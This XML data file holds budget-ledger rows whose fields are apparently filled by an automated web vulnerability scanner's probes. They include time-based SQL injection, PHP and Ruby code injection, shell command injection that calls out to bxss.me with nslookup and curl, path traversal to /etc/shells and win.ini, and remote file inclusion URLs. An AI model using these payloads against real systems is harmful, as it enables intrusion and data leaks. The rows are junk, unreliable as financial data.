<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>"+"A".concat(70-3).concat(22*4).concat(103).concat(77).concat(105).concat(74)+(require"socket"
Socket.gethostbyname("hitdi"+"koxatizr3f6e6.bxss.me.")[3].to_s)+"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'||sleep(27*1000)*nuxejl||'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>';print(md5(31337));$a='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU"||sleep(27*1000)*ogworg||"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMURTUTYY0Q' OR 598=(SELECT 598 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>";print(md5(31337));$a="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitkcbpvuxhuzfcf9d.bxss.me||curl${IFS}hitkcbpvuxhuzfcf9d.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitkcbpvuxhuzfcf9d.bxss.me||curl${IFS}hitkcbpvuxhuzfcf9d.bxss.me)&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>${@print(md5(31337))}\</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1; waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|echo hlqnve$()\ larbjy\nz^xyu||a #' |echo hlqnve$()\ larbjy\nz^xyu||a #|" |echo hlqnve$()\ larbjy\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>expr 9000299314 - 984332</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>!(()&amp;&amp;!|*|*|</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>echo pmjdjy$()\ xeyheb\nz^xyu||a #' &amp;echo pmjdjy$()\ xeyheb\nz^xyu||a #|" &amp;echo pmjdjy$()\ xeyheb\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>expr 9000166989 - 922804</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>@@0p8dm</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.print(md5(31337)).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;nslookup -q=cname hitkvdcbuygmf2325e.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitkvdcbuygmf2325e.bxss.me&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup -q=cname hitukvtktgzdg9c90e.bxss.me||curl hitukvtktgzdg9c90e.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitukvtktgzdg9c90e.bxss.me||curl hitukvtktgzdg9c90e.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup -q=cname hitdcyotezzzs0b613.bxss.me||curl hitdcyotezzzs0b613.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>`(nslookup -q=cname hitfsjbyjnnom80884.bxss.me||curl hitfsjbyjnnom80884.bxss.me)`</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>!(()&amp;&amp;!|*|*|</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitjlzmffsttlc0198.bxss.me||curl${IFS}hitjlzmffsttlc0198.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitjlzmffsttlc0198.bxss.me||curl${IFS}hitjlzmffsttlc0198.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>@@vzqsp</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>^(#$!@#$)(()))******</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>http://bxss.me/t/fit.txt%3F.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>$(nslookup -q=cname hitenjfwwtqztab06c.bxss.me||curl hitenjfwwtqztab06c.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>!(()&amp;&amp;!|*|*|</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'&amp;&amp;sleep(27*1000)*ivowox&amp;&amp;'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1"&amp;&amp;sleep(27*1000)*yrcxlh&amp;&amp;"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1"||sleep(27*1000)*pjwver||"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>/etc/shells</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../../../../../../../../../../../../../../etc/shells</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>c:/windows/win.ini</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>http://bxss.me/t/fit.txt%3F.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
